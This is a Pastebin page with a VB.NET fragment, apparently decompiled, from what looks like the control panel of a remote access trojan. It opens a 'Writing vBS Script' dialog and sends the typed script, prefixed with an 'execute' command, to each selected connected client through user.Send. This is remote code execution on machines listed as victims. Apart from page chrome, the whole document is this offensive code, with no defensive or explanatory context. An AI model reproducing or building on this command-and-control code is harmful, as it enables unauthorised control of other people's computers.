Advertisement
SecurityNajaf

r

Jan 17th, 2014
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 1.90 KB | None | 0 0
  1. Try
  2.             If (Me.Lv1.SelectedItems.Count <> 0) Then
  3.                 Dim form As New Form
  4.                 Dim box2 As New TextBox
  5.                 box2.Dock = DockStyle.Fill
  6.                 box2.ScrollBars = ScrollBars.Both
  7.                 box2.Multiline = True
  8.                 box2.Name = "T"
  9.                 Dim box As TextBox = box2
  10.                 Dim button3 As New Button
  11.                 button3.Text = "Execute"
  12.                 button3.Dock = DockStyle.Bottom
  13.                 Dim button As Button = button3
  14.                 button3 = New Button
  15.                 button3.Text = "Cancel"
  16.                 button3.Dock = DockStyle.Bottom
  17.                 Dim button2 As Button = button3
  18.                 form.Controls.AddRange(New Control() {box, button, button2})
  19.                 form.Tag = ""
  20.                 form.Icon = Me.Icon
  21.                 AddHandler button.Click, New EventHandler(AddressOf gug)
  22.                 AddHandler button2.Click, New EventHandler(AddressOf hug)
  23.                 form.Text = "Writing vBS Script"
  24.                 form.ShowDialog(Me)
  25.                 If Operators.ConditionalCompareObjectNotEqual(form.Tag, "", False) Then
  26.                     Dim enumerator As IEnumerator
  27.                     Try
  28.                         enumerator = Me.Lv1.SelectedItems.GetEnumerator
  29.                         Do While enumerator.MoveNext
  30.                             Dim user As USER = DirectCast(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(enumerator.Current), Nothing, "tag", New Object(0 - 1) {}, Nothing, Nothing, Nothing), USER)
  31.                             Dim s As String = Conversions.ToString(Me.httpconvert(Conversions.ToString(Operators.ConcatenateObject(("execute" & Me.Y), form.Tag))))
  32.                             user.Send(s)
  33.                         Loop
  34.                     Finally
  35.                     End Try
  36.                 End If
  37.             End If
  38.         Catch : End Try
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement